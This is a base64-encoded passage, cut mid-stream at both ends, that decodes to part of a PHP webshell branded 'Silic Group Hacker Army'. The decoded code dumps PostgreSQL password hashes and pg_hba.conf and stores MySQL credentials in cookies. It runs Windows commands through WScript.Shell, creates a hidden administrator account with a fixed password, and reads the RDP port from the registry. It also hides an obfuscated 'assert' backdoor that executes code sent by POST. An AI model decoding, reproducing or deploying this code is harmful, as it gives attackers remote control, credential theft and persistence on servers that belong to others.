G47IjsNClN0cls0XSA9ICJzZWxlY3QgdXNlbmFtZSxwYXNzd2QgZnJvbSBwZ19zaGFkb3c7IjsNClN0cls1XSA9ICJzZWxlY3QgcGdfZmlsZV9yZWFkKCdwZ19oYmEuY29uZicsMSxwZ19maWxlX2xlbmd0aCgncGdfaGIuY29uZicpKTsiOw0KcGdmb3JtLnBnc3FsLnZhbHVlID0gU3RyW2ldOw0KcmV0dXJuIHRydWU7DQp9DQo8L3NjcmlwdD4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+DQo8IS0tU1FMse21pb+qyrwtLT4NCjxwIHN0eWxlPSJmb250LXNpemU6MTBwdDtmb250LWZhbWlseTpMdWNpZGEgSGFuZHdyaXRpbmcsVGltZXMgTmV3IFJvbWFuOyI+DQq3/s7xxve6zbbLv9rOqtGhzO6jrMr9vt2/4s7et6jBrL3TyrG/ybOiytSyu8zu0LQ8YnI+DQqxvr3Fsb7ErMjPxeSxuLXEU1FM0+++5MrK08PT2lBvc3RncmVTUUwgOC4xPGJyPg0KzdG/4sfrzO7QtNX9yLe1xMr9vt2/4sP7PGJyPg0KwdCx7bbOv8nTw3NlbGVjdCByZWxuYW1lIGZyb20gcGdfc3RhdF91c2VyX3RhYmxlcyBsaW1pdCAxIG9mZnNldCBuOzxicj4NCrj8tuC5/dPaUG9zdGdyZVNRTNPvvuS/ybLOvPs8YSBocmVmPSJodHRwOi8vbmFuYS5ibGFja2JhcC5vcmcvP3A9YXJjaGl2ZSZpZD01NSIgdGFyZ2V0PSJfYmxhbmsiPlvV4sDvXTwvYT48YnI+PGhyPjwvcD4NCjxmb3JtIG5hbWU9InBnZm9ybSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9zPXBxIj4NCrf+zvHG9zo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGdob3N0IiB2YWx1ZT0ieyRwZ2hvc3R9IiBzdHlsZT0id2lkdGg6MTAwcHgiPg0K08O7pzo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGd1c2VyIiB2YWx1ZT0ieyRwZ3VzZXJ9IiBzdHlsZT0id2lkdGg6MTAwcHgiPg0Kw9zC6zo8aW5wdXQgdHlvZT0idGV4dCIgbmFtZT0icGdwYXNzIiB2YWx1ZT0ieyRwZ3Bhc3N9IiBzdHlsZT0id2lkdGg6MTAwcHgiPg0Kyv2+3b/iw/s6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBnZGIiIHZhbHVlPSJ7JHBnZGJ9IiBzdHlsZT0id2lkdGg6MTAwcHgiPjxicj48YnI+DQo8dGV4dGFyZWEgbmFtZT0icGdzcWwiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6MjAwcHg7Ij57JHBncXVlcnl9PC90ZXh0YXJlYT48YnI+DQq2y7/ao7o8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGdwb3J0IiB2YWx1ZT0ieyRwZ3BvcnR9IiBzdHlsZT0id2lkdGg6NTBweCI+DQo8c2VsZWN0IG9uY2hhbmdlPSJyZXR1cm4gcGdGdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4NCjxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPs/Uyr6w5rG+PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIj7K/b7dv+I8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIiPrHtts48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiPtfWts48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQiPmhhc2hlczwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSI+cGdfaGIuY29uZjwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWwiIHZhbHVlPSJZb0NvIFNtYXJ0Ij4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLWtNDQU1FM0+++5CI+DQo8Zm9udCBzdHlsZT0iZm9udC1zaXplOjEwcHQ7Ij4mbmJzcDsmbmJzcDs8YSBocmVmPSJodHRwOi8vYmxhY2tiYXAub3JnIiB0YXJnZXQ9Il9ibGFuayI+U2lsaWMgR3JvdXAgSGFja2VyIEFybXk8L2E+JmNvcHk7MjAwOS0yMDEyPC9mb250PjwvZm9ybT4NCjwhLS1TUUyx7bWlveHK+C0tPg0KRU5EOw0KCQkJaWYoIWVtcHR5KCRwZ2hvc3QpICYmICFlbXB0eSgkcGdwb3J0KSl7DQoJCQkJJGNvbm49Imhvc3Q9Ii4kcGdob3N0LiIgcG9ydD0iLiRwZ3BvcnQuIiBkYm5hbWU9Ii4kcGdkYi4iIHVzZXI9Ii4kcGd1c2VyLiIgcGFzc3dvcmQ9Ii4kcGdwYXNzOw0KCQkJfWVsc2V7DQoJCQkJJGNvbm49ImRibmFtZT0iLiRwZ2RiLiIgdXNlcj0iLiRwZ3VzZXIuIiBwYXNzd29yZD0iLiRwZ3Bhc3M7DQoJCQl9DQoJCQlpZighZW1wdHkoJF9QT1NUWydzcWwnXSkpew0KCQkJCSRwZ2Nvbm4gPSBwZ19jb25uZWN0KCRjb25uKQ0KCQkJCW9yIGRpZSgnsa++56Oswayyu8nPoaO07c7z0MXPojonLnBnX2xhc3RfZXJyb3IoKSk7DQoJCQkJJHBncmVzdWx0PXBnX3F1ZXJ5KCRwZ3F1ZXJ5KSBvciBkaWUoJ1NRTNa00NC3osn6tO3O8zo8YnI+Jy5wZ19sYXN0X2Vycm9yKCkpOw0KCQkJCSRwZ3Jvdz1wZ19mZXRjaF9yb3coJHBncmVzdWx0KTsNCgkJCQllY2hvICc8Zm9udCBmYWNlPSJ2ZXJkYW5hIj48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMSIgY2VsbHNwYWNpbmc9IjIiPicuIlxuPHRyPlxuIjsNCgkJCQlmb3IgKCRpPTA7ICRpPCBwZ19udW1fZmllbGRzKCRwZ3Jlc3VsdCk7ICRpKyspDQoJCQkJe2VjaG8gJzx0ZD48Yj4nLnBnX2ZpZWxkX25hbWUoJHBncmVzdWx0LCAkaSkuIjwvYj48L3RkPlxuIjt9DQoJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJcGdfcmVzdWx0X3NlZWsoJHBncmVzdWx0LCAwKTsNCgkJCQl3aGlsZSAoJHBncm93PXBnX2ZldGNoX3JvdygkcGdyZXN1bHQpKQ0KCQkJCXsNCgkJCQkJZWNobyAiPHRyPlxuIjsNCgkJCQkJZm9yICgkaT0wOyAkaTxwZ19udW1fZmllbGRzKCRwZ3Jlc3VsdCk7ICRpKysgKQ0KCQkJCQl7ZWNobyAnPHRkPicuIiRwZ3Jvd1skaV0iLic8L3RkPic7fQ0KCQkJCQllY2hvICI8L3RyPlxuIjsNCgkJCQl9DQoJCQkJZWNobyAiPC90YWJsZT5cbiIuIjwvZm9udD4iOw0KCQkJCXBnX2ZyZWVfcmVzdWx0KCRwZ3Jlc3VsdCk7DQoJCQkJcGdfY2xvc2UoKTsNCgkJCX0NCgkJCWVjaG8gIjwvZGl2PiI7DQoJCX0NCgkJZnVuY3Rpb24gTXlzcWxfbygpDQoJCXsNCgkJCW9iX3N0YXJ0KCk7DQoJCQlpZihpc3NldCgkX1BPU1RbJ21ob3N0J10pICYmIGlzc2V0KCRfUE9TVFsnbXBvcnQnXSkgJiYgaXNzZXQoJF9QT1NUWydtdXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ21wYXNzJ10pKQ0KCQkJew0KCQkJCWlmKEBteXNxbF9jb25uZWN0KCRfUE9TVFsnbWhvc3QnXS4nOicuJF9QT1NUWydtcG9ydCddLCRfUE9TVFsnbXVzZXInXSwkX1BPU1RbJ21wYXNzJ10pKQ0KCQkJCXsNCgkJCQkJJGNvb2tpZXRpbWUgPSB0aW1lKCkgKyAyNCAqIDM2MDA7DQoJCQkJCXNldGNvb2tpZSgnbV9zaWxpY2hvc3QnLCRfUE9TVFsnbWhvc3QnXSwkY29va2lldGltZSk7DQoJCQkJCXNldGNvb2tpZSgnbV9zaWxpY3BvcnQnLCRfUE9TVFsnbXBvcnQnXSwkY29va2lldGltZSk7DQoJCQkJCXNldGNvb2tpZSgnbV9zaWxpY3VzZXInLCRfUE9TVFsnbXVzZXInXSwkY29va2lldGltZSk7DQoJCQkJCXNldGNvb2tpZSgnbV9zaWxpY3Bhc3MnLCRfUE9TVFsnbXBhc3MnXSwkY29va2lldGltZSk7DQoJCQkJCWRpZSgn1f3U2rXHwr0sx+vJ1LryLi4uPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9P3M9ciI+Jyk7DQoJCQkJfQ0KCQkJfQ0KCQkJcHJpbnQ8PDxFTkQNCjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ib2Zvcm0iIGlkPSJvZm9ybSIgYWN0aW9uPSI/cz1vIj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+tdjWtyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPrbLv9ogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wb3J0IiB2YWx1ZT0iMzMwNiIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+08O7pyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXVzZXIiIHZhbHVlPSJyb290IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj7D3MLrIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcGFzcyIgdmFsdWU9IiIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IrXHwr0iIHN0eWxlPSJ3aWR0aDo4MHB4OyI+IDxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSJDT09LSUUiIHN0eWxlPSJ3aWR0aDo4MHB4OyIgb25jbGljaz0id2luZG93LmxvY2F0aW9uPSc/cz1yJzsiPjwvZGl2Pg0KPC9mb3JtPg0KRU5EOw0KCQkJb2JfZW5kX2ZsdXNoKCk7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCQlmdW5jdGlvbiB6aXBhY3QoKQ0KCQl7DQoJCQkkemZpbGU9JF9QT1NUWyd6ZmlsZSddID8gJF9QT1NUWyd6ZmlsZSddOidwaHAuemlwJzsNCgkJCSRqeXB0PSRfUE9TVFsnanlwdCddID8gJF9QT1NUWydqeXB0J106Jy4vJzsNCgkJCSR0aXA9Is60v6rKvL3i0bkiOw0KCQkJaWYoJF9QT1NUWyd6aXAnXT09J3ppcCcpew0KCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cyh6aXBfb3Blbikpew0KCQkJCQkkemZpbGU9a2V5X2V4aXN0cygnemlwJywgJF9HRVQpICYmICRfR0VUWyd6aXAnXT8kX0dFVFsnemlwJ106JHpmaWxlOw0KCQkJCQkkemZpbGU9IHN0cl9yZXBsYWNlKGFycmF5KGRpcm5hbWUoX19GSUxFX18pLiIvIixkaXJuYW1lKF9fRklMRV9fKS4iXFwiKSxhcnJheSgiIiwiIiksJHpmaWxlKTsNCgkJCQkJJHpwYXRoPXN0cl9yZXBsYWNlKCdcXCcsJy8nLGRpcm5hbWUoX19GSUxFX18pKS4nLycuJHpmaWxlOw0KCQkJCQlpZighaXNfZmlsZSgkenBhdGgpKXskdGlwPSfOxLz+IicuJHpwYXRoLicisru05tTaISc7fWVsc2V7DQoJCQkJCQkkemlwPSBuZXcgWmlwQXJjaGl2ZSgpOw0KCQkJCQkJJHJzPSR6aXAtPm9wZW4oJHpwYXRoKTsNCgkJCQkJCWlmKCRycyAhPT0gVFJVRSl7JHRpcD0nveLRucqnsNw6Jy4kcnM7fQ0KCQkJCQkJJHppcC0+ZXh0cmFjdFRvKCRqeXB0KTsNCgkJCQkJCSR6aXAtPmNsb3NlKCk7DQoJCQkJCQkkdGlwPSR6ZmlsZS4nveLRubPJuaYhJzt9DQoJCQkJfWVsc2V7JHRpcD0it/7O8cb3srvWp7PWUEhQX1pJUNfpvP4sx+vIt8jPIjt9DQoJCQl9DQoJCQlwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj4NCjxmb3JtIGFjdGlvbj0iP3M9emEiIG1ldGhvZD0iUE9TVCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ6aXAiIGlkPSJ6aXAiIHZhbHVlPSJ6aXAiPg0Ksb7Eo7/pyrnTw1BIULXEemlwX29wZW7AqdW5wLSy2df3WklQ0bnL9c7EvP48YnI+DQrKudPDx7DH69Taob48Yj48YSBocmVmPSI/cz1mIj7Ptc2z0MXPojwvYT48L2I+ob/W0Mi3yM/Ptc2z1qez1nBocF96aXA8YnI+DQrRucv1zsS8/sK3vra/ydC0z8K8tsS/wry6zc7vwO3Ct762o6zP4LbUxL/CvMrHt/G/ybLZ1/fOtLLiytQgOi0oPGJyPg0KyLfIz8S/serCt762v8nQtDxicj48YnI+DQrRucv1zsS8/sK3vrajujxicj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ6ZmlsZSIgaWQ9InpmaWxlIiB2YWx1ZT0ieyR6ZmlsZX0iIHN0eWxlPSJ3aWR0aDo3MjBweDsiPjxicj48YnI+DQrEv7Hqwre+tqO6DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ianlwdCIgaWQ9Imp5cHQiIHZhbHVlPSJ7JGp5cHR9IiBzdHlsZT0id2lkdGg6NzIwcHg7Ij48YnI+PGJyPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ir+qyry94tG5IiBzdHlsZT0id2lkdGg6ODBweDsiPjxicj48YnI+PGJyPg0KeyR0aXB9PGJyPjxicj48YnI+PC9mb3JtPjwvZGl2Pg0KRU5EOw0KCQl9DQoJCS8vV2luZG93c9fpvP6907/aDQoJCWZ1bmN0aW9uIHdpbnNoZWxsKCkNCgkJew0KCQkJJG5vcD0nJm5ic3A7Jm5ic3A7JzsNCgkJCWlmKCRfR0VUWyd3aW5zaGVsbCddPT0nd3NjcmlwdCcpew0KCQkJCSR3Y21kPSRfUE9TVFsnd2NtZCddID8gJF9QT1NUWyd3Y21kJ106J25ldCB1c2VyJzsNCgkJCQkkd2NwdGg9JF9QT1NUWyd3Y3B0aCddID8gJF9QT1NUWyd3Y3B0aCddOidjbWQuZXhlJzsNCgkJCQlwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj4NCjxmb3JtIGFjdGlvbj0iP3M9amsmd2luc2hlbGw9d3NjcmlwdCIgbWV0aG9kPSJQT1NUIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRvIiBpZD0iZG8iIHZhbHVlPSJkbyI+PGJyPg0KeyRub3B9PGlucHV0IHR5cGU9InRleHQiIG5hbWU9IndjbWQiIGlkPSJ3Y21kIiB2YWx1ZT0ieyR3Y3B0aH0iIHN0eWxlPSJ3aWR0aDozMDBweDsiPiAtJmd0OyBDTUTCt762PGJyIC8+DQp7JG5vcH08aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id2NtZCIgaWQ9IndjbWQiIHZhbHVlPSJ7JHdjbWR9IiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ita00NAiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+DQo8YnI+PGJyPjxicj48L2Zvcm0+PC9kaXY+DQpFTkQ7DQppZigkX1BPU1RbJ2RvJ109PSdkbycpew0KCSR3dz0kd2NwdGguIiAvYyAiLiR3Y21kOw0KCSRwaHB3c2g9bmV3IENPTSgiV3NjcmlwdC5TaGVsbCIpIG9yIGRpZSgitLS9qFNoZWxsLldzY3JpcHTX6bz+yqew3CIpOw0KCSRwaHBleGVjPSRwaHB3c2gtPmV4ZWMoJHd3KTsNCgkkZXhlY291dHB1dD0kd3NoZXhlYy0+c3Rkb3V0KCk7DQoJJHJlc3VsdD0kZXhlY291dHB1dC0+cmVhZGFsbCgpOw0KCWVjaG8gJHJlc3VsdDsNCglAJHBocHdzaC0+UmVsZWFzZSgpOw0KCSRwaHB3c2g9TlVMTDsNCn0NCgkJCX1lbHNlaWYoJF9HRVRbJ3dpbnNoZWxsJ109PSdzaGVsbHVzZXInKXsNCgkJCQkkd3VzZXI9JF9QT1NUWyd3dXNlciddID8gJF9QT1NUWyd3dXNlciddOidzaWxpYyc7DQoJCQkJJHdwYXN3PSRfUE9TVFsnd3Bhc3cnXSA/ICRfUE9TVFsnd3Bhc3cnXTonMTIzNEBzaWxpYyMnOw0KCQkJCXByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJhY3RhbGwiPg0KPGZvcm0gYWN0aW9uPSI/cz1qayZ3aW5zaGVsbD1zaGVsbHVzZXIiIG1ldGhvZD0iUE9TVCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkbyIgaWQ9ImRvIiB2YWx1ZT0iZG8iPjxicj4NClNoZWxsLlVzZXJz1+m8/sztvNO53MDt1LE8YnI+PGJyPg0KeyRub3B90MK9qNPDu6fD+6O6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ind1c2VyIiBpZD0id3VzZXIiIHZhbHVlPSJ7JHd1c2VyfSIgc3R5bGU9IndpZHRoOjEwMHB4OyI+PGJyPg0KeyRub3B90MLTw7unw9zC66O6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9IndwYXN3IiBpZD0id3Bhc3ciIHZhbHVlPSJ7JHdwYXN3fSIgc3R5bGU9IndpZHRoOjEwMHB4OyI+PGJyPjxicj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLM7bzTIiBzdHlsZT0id2lkdGg6ODBweDsiPg0KPGJyPjxicj48YnI+PC9mb3JtPjwvZGl2Pg0KRU5EOw0KaWYoJF9QT1NUWydkbyddPSdkbycpew0KCSRzaGVsbCA9IG5ldyBDT00oIlNoZWxsLlVzZXJzIik7DQoJJGNtZCA9ICRzaGVsbC0+Y3JlYXRlKCR3dXNlcik7DQoJJGNtZC0+Y2hhbmdlUGFzc3dvcmQoJHdwYXN3LCIiKTsNCgkkY21kLT5zZXR0aW5nWyJBY2NvdW50VHlwZSJdID0gMzsNCn0NCgkJCX1lbHNlaWYoJF9HRVRbJ3dpbnNoZWxsJ109PSdyZWdlZGl0Jyl7DQoJCQkJJHJlZ3BhdGg9JF9QT1NUWydyZWdwYXRoJ10gPyAkX1BPU1RbJ3JlZ3BhdGgnXTonSEtFWV9MT0NBTF9NQUNISU5FXFxTWVNURU1cXENvbnRyb2xTZXQwMDFcXENvbnRyb2xcXFRlcm1pbmFsIFNlcnZlclxcV2RzXFxyZHB3ZFxcVGRzXFx0Y3BcXFBvcnROdW1iZXInOw0KCQkJCXByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJhY3RhbGwiPg0KPGZvcm0gYWN0aW9uPSI/cz1qayZ3aW5zaGVsbD1yZWdlZGl0IiBtZXRob2Q9IlBPU1QiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG8iIGlkPSJkbyIgdmFsdWU9ImRvIj48YnI+DQpSZWdSZWFkKCm6r8r9tsHIodeisuGx7cTayN0oU2hlbGwuV3NjcmlwdNfpvP4pPGJyPjxicj4NCteisuGx7cK3vrajujxicj4NCnskbm9wfTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZWdwYXRoIiBpZD0icmVncGF0aCIgdmFsdWU9InskcmVncGF0aH0iIHN0eWxlPSJ3aWR0aDo3MjBweDsiPjxicj48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0itsHIocTayN0iIHN0eWxlPSJ3aWR0aDo4MHB4OyI+DQo8YnI+PGJyPjxicj48L2Zvcm0+PC9kaXY+DQpFTkQ7DQppZigkX1BPU1RbJ2RvJ109PSdkbycpew0KCSRzaGVsbCA9IG5ldyBDT00oIldTY3JpcHQuU2hlbGwiKSBvciBkaWUoIrS0vahTaGVsbC5Xc2NyaXB01+m8/sqnsNwiKTsNCgl0cnl7JHJlZ2lzdHJ5X3Byb3h5c3RyaW5nID0gJHNoZWxsLT5SZWdSZWFkKCRyZWdwYXRoKTt9DQoJY2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICfE2sjdOiAnLiRlLT5nZXRNZXNzYWdlKCk7fQ0KCWVjaG8gJHJlZ2lzdHJ5X3Byb3h5c3RyaW5nOw0KfQ0KCQkJfWVsc2V7DQoJCQkJJHRpcD0ivt2y4srUsb65psTcv8nTw7XEv8nE3NDUzqrN8rfW1q7Suzxicj5XZWJzaGVsbMv51Nq3/s7xxvex2NDrzqpXaW5kb3dzz7XNszxicj5QSFDM4cioutzB6bvuo6y1q8Tj1Nq3x7Ojzt7EzrXEyrG68r/J0tSzosrUsb65psTcPGJyPjwvaDU+PGJyPjxicj48YnI+IjsNCgkJCQlwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj48cHJlPg0KPGJyPjxhIGhyZWY9Ij9zPWprJndpbnNoZWxsPXdzY3JpcHQiPiBbIFdTY3JpcHTX6bz+IF0gPC9hPjxicj48YnI+DQo8aDU+sb65psTcyrnTw1BIULX308NXaW5kb3dz1+m8/tbQtcRXc2NyaXB01+m8/qGjPGJyPg0KV3NjcmlwdM6qtffTw2NtZMP8we7X6bz+PGJyPnskdGlwfTxhIGhyZWY9Ij9zPWprJndpbnNoZWxsPXNoZWxsdXNlciI+IFsgU2hlbGwuVXNlctfpvP4gXSA8L2E+PGJyPjxicj4NCjxoNT6xvrmmxNzKudPDUEhQtffTw1dpbmRvd3PX6bz+1tC1xFNoZWxsLnVzZXLX6bz+PGJyPg0KVVNFUtfpvP7OqldpbmRvd3PPtc2z08O7p7LZ1/fP4LnY1+m8/jxicj57JHRpcH08YSBocmVmPSI/cz1qayZ3aW5zaGVsbD1yZWdlZGl0Ij4gWyDXorLhse22wcihIF0gPC9hPjxicj48YnI+DQo8aDU+sb65psTcyrnTw1BIULX308NXaW5kb3dz1+m8/tbQtcRTaGVsbC5Xc2NyaXB01+m8/jxicj4NClJlZ1JlYWQoKbqvyv22wcihz7XNs9eisuGx7cTayN08YnI+eyR0aXB9PC9wcmU+PC9kaXY+DQpFTkQ7DQoJCQl9DQoJCX0NCgkJLyoqtcfCvc/gudi/qsq8KiovDQoJCWlmKCRfR0VUWydzJ10gPT0gJ2xvZ291dCcpew0KCQkJc2V0Y29va2llKCdhZG1pbl9zaWxpY3Bhc3MnLE5VTEwpOw0KCQkJZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0/Ij4nKTsNCgkJfWVsc2VpZigkX0dFVFsncyddID09ICdjaCcpew0KCQkJJG9sZHBzPW1kNShtZDUobWQ1KHRyaW0oJHNhbHQuJF9QT1NUWydvbGRwcyddKSkpKTsNCgkJCSRuZXdwcz1iYXNlNjRfZW5jb2RlKGJhc2U2NF9kZWNvZGUoJ0pIQmhjM04zYjNKa1BTST0nKS5tZDUobWQ1KG1kNSh0cmltKCRzYWx0LiRfUE9TVFsnbmV3cHMnXSkpKSkuYmFzZTY0X2RlY29kZSgnSWpzPScpKTsNCgkJCXByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxmb3JtIGFjdGlvbj0iP3M9Y2giIG1ldGhvZD0iUE9TVCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaCIgaWQ9ImNoIiB2YWx1ZT0iY2giPjxicj4NCiog0N64xLG+s8zQ8rXHwr3D3MLrKMn308Mhv8nE3Lvh1OyzybPM0PLKp8ilz+zTpik8YnI+DQoqILG+s8zQ8tPJPGEgaHJlZj0iaHR0cDovL2JsYWNrYmFwLm9yZyIgX3RhcmdldCJfYmxhbmsiPlNpbGljIEdyb3VwPC9hPrv509pTcGlkZXLEvsLtv6q3oqOssb6w5srHu/nT2lNwaWRlcsS+wu2/8rzctcS12s7ltM7W2NDCv6q3ojxicj4NCiogsb6zzNDyssnTw8j9suNNRDUrU2FsdLzTw9y807b+tM5zZXNzaW9uvNPD3KOstPO/ybK7sdi1o9DEsbvIy8nnuaQ8YnI+DQoqILXazuWw5tb30qq4/NDCo7rJvsilRlRQstnX9yzXorLhse2y2df3LFNoZWxsY29kZdequ7ujrM3qyca6zbexu6rP1tPQtcS5psTco6zQ3tX9z9bT0LmmxNy1xLK/t9ZidWejrNPFu6+0+sLrPGJyPg0KKiBTaWxpYyBHcm91cCBIYWNrZXIgQXJteSAtILy8yvW5ss/tLLy8yvXX1NPJLLy8yvXUrbS0LLy8yvW9+LK9PGJyPg0KKiA8YSBocmVmPSJodHRwOi8vYmxhY2tiYXAub3JnIiB0YXJnZXQ9Il9ibGFuayI+QmxhY2tCYXAuT3JnPC9hPjxicj48YnI+DQq+ycPcwuujujxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJvbGRwcyIgaWQ9Im9sZHBzIiB2YWx1ZT0iIiBzdHlsZT0id2lkdGg6MTIwcHg7Ij48YnIgLz4NCtDCw9zC66O6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld3BzIiBpZD0ibmV3cHMiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDoxMjBweDsiPjxicj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSK4/LjEIiBzdHlsZT0id2lkdGg6ODBweDsiPg0KPGJyPjxicj48YnI+PC9mb3JtPjwvZGl2Pg0KRU5EOw0KCQkJaWYoJF9QT1NUWydjaCddPSdjaCcgJiYgJG9sZHBzPT0kcGFzc3dvcmQgJiYgIWVtcHR5KCRfUE9TVFsnbmV3cHMnXSkpDQoJCQl7DQoJCQkJJGRsaW5lPTE5Ow0KCQkJCSRjaHBzQXJyPWZpbGUoX19GSUxFX18pOw0KCQkJCSRjaHNpemU9Y291bnQoJGNocHNBcnIpOw0KCQkJCWZvcigkY2hpPTA7ICRjaGk8ICRjaHNpemU7ICRjaGkrKyl7DQoJCQkJCWlmKCRjaGk9PSRkbGluZS0xKXskY2hwc1N0ci49YmFzZTY0X2RlY29kZSgkbmV3cHMpLiJcclxuIjt9DQoJCQkJCWVsc2V7JGNocHNTdHIuPSRjaHBzQXJyWyRjaGldO30NCgkJCQl9DQoJCQkJZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sJGNocHNTdHIpOw0KCQkJCWVjaG8gIrj8uMSzybmmIjsNCgkJCX1lbHNle2VjaG8gIsO709C4/LjEw9zC6yI7fQ0KCQl9ZWxzZWlmKG1kNShtZDUobWQ1KCRzYWx0LnRyaW0oJF9HRVRbJ3MnXSkpKSkgPT0gJHBhc3N3b3JkKXsNCgkJCSRhc3NlPSRhc3NlezB9LiRhc3NlezF9LiRhc3NlezF9LiRhc3NlezJ9LiRhc3NlezN9LiRhc3NlezR9Ow0KCQkJQCRhc3NlKCRfUE9TVFskX0dFVFsncyddXSk7DQoJCX1lbHNlew0KCQkJLy+1x8K9DQoJCQlmdW5jdGlvbiBSb290X0xvZ2luKCRNU0dfVE9QKQ0KCQkJew0KCQkJCSRJUCA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pOw0KCQkJCXByaW50PDw8RU5EDQo8aHRtbD4NCgk8Ym9keSBzdHlsZT0iYmFja2dyb3VuZDojQUFBQUFBOyI+DQoJCTxjZW50ZXI+DQoJCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCTxkaXYgc3R5bGU9IndpZHRoOjM1MXB4O2hlaWdodDoyMDFweDttYXJnaW4tdG9wOjEwMHB4O2JhY2tncm91bmQ6dGhyZWVkZmFjZTtib3JkZXItY29sb3I6I0ZGRkZGRiAjOTk5OTk5ICM5OTk5OTkgI0ZGRkZGRjtib3JkZXItc3R5bGU6c29saWQ7Ym9yZGVyLXdpZHRoOjFweDsiPg0KCQk8ZGl2IHN0eWxlPSJ3aWR0aDozNTBweDtoZWlnaHQ6MjJweDtwYWRkaW5nLXRvcDoycHg7Y29sb3I6I0ZGRkZGRjtiYWNrZ3JvdW5kOiMyOTNGNUY7Y2xlYXI6Ym90aDsiPjxiPnskTVNHX1RPUH08L2I+PC9kaXY+DQoJCTxkaXYgc3R5bGU9IndpZHRoOjM1MHB4O2hlaWdodDo4MHB4O21hcmdpbi10b3A6NTBweDtjb2xvcjojMDAwMDAwO2NsZWFyOmJvdGg7Ij5QQVNTOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0ic2lsaWNwYXNzIiBzdHlsZT0id2lkdGg6MjcwcHg7Ij48L2Rpdj4NCgkJPGRpdiBzdHlsZT0id2lkdGg6MzUwcHg7aGVpZ2h0OjMwcHg7Y2xlYXI6Ym90aDsiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMT0dJTiIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4NCgkJPC9kaXY+DQoJCTwvZm9ybT4NCgkJPC9jZW50ZXI+DQoJPC9ib2R5Pg0KPC9odG1sPg0KRU5EOw0KCQkJCXJldHVybiBmY